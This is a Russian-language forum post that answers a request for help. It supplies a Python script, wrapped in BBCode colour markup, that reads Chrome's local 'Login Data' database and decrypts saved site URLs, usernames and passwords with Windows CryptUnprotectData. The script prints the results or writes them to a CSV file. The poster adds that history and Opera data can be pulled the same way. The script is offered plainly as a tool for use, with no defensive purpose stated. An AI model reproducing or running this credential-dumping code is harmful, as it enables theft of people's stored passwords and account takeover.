
11.12.2016, 09:36
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Сообщение от Troy Silvani
Troy Silvani said:
↑
подскажи как??? дай хоть какую нибудь зацепку для дальнейшего поиска моего ...или утилиту ..вообще было б огненно)
вот скриптик, только хром должен быть закрытым для его работы:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#gets saved passwords from Chrome #need to get Pywin32 python extension for this to work
[/COLOR][COLOR="#0000BB"]import os from sys import[/COLOR][COLOR="#007700"]exit [/COLOR][COLOR="#0000BB"]import sqlite3 from win32crypt import CryptUnprotectData import argparse
def chromepath[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]PathName[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]os[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'localappdata'[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#DD0000"]'\\Google\\Chrome\\User Data\\Default\\' [/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]os[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]isdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PathName[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]False[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Chrome not found'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#FF8000"]#exit(0) [/COLOR][COLOR="#007700"]return[/COLOR][COLOR="#0000BB"]PathName
def main[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"]= [] [/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]chromepath[/COLOR][COLOR="#007700"]() [/COLOR][COLOR="#FF8000"]#path = "C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [/COLOR][COLOR="#007700"]try: [/COLOR][COLOR="#0000BB"]connection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sqlite3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]path[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]"Login Data"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#FF8000"]#connection = sqlite3.connect("C:\\Users\\XXX\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data") [/COLOR][COLOR="#0000BB"]with connection[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]connection[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"]() [/COLOR][COLOR="#0000BB"]v[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cursor[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]execute[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT action_url, username_value, password_value FROM logins'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]v[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fetchall[/COLOR][COLOR="#007700"]()
for[/COLOR][COLOR="#0000BB"]i in value[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]CryptUnprotectData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]None[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] if[/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]append[/COLOR][COLOR="#007700"]({ [/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]) }) [/COLOR][COLOR="#0000BB"]except sqlite3[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]OperationalError[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]: if ([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'database is locked'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Google Chrome can\'t be running at the same time'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]elif[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'no such table: logins'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Could not find database name'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]elif[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'unable to open database file'[/COLOR][COLOR="#007700"]): print([/COLOR][COLOR="#DD0000"]'Could not find database path'[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) else: print([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]) exit([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) if[/COLOR][COLOR="#0000BB"]secret[/COLOR][COLOR="#007700"]== []: print([/COLOR][COLOR="#DD0000"]'no passwords saved in Chrome'[/COLOR][COLOR="#007700"]) else: return[/COLOR][COLOR="#0000BB"]secret
def csv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]info[/COLOR][COLOR="#007700"]): [/COLOR][COLOR="#0000BB"]with open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'chromepasswordlist.csv'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'wb'[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'url,username,password \n'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'utf-8'[/COLOR][COLOR="#007700"])) for[/COLOR][COLOR="#0000BB"]data in info[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#DD0000"]'%s, %s, %s \n'[/COLOR][COLOR="#007700"]% ([/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]])).[/COLOR][COLOR="#0000BB"]encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'utf-8'[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]def args_parser[/COLOR][COLOR="#007700"](): [/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]argparse[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ArgumentParser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]description[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"gets Chrome saved passwords"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]add_argument[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"-csv"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]help[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"Output to csv"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"store_true"[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]args[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parser[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]parse_args[/COLOR][COLOR="#007700"]() if[/COLOR][COLOR="#0000BB"]args[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]csv[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]csv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]()) else: for[/COLOR][COLOR="#0000BB"]data in main[/COLOR][COLOR="#007700"](): print([/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]) print([/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"])
if[/COLOR][COLOR="#0000BB"]__name__[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'__main__'[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]args_parser[/COLOR][COLOR="#007700"]()[/COLOR][/COLOR]
там в соседних файлах и хистори можете посмотреть, аналогичная ситуация с оперой, с фаером не разбирался....
|
|
|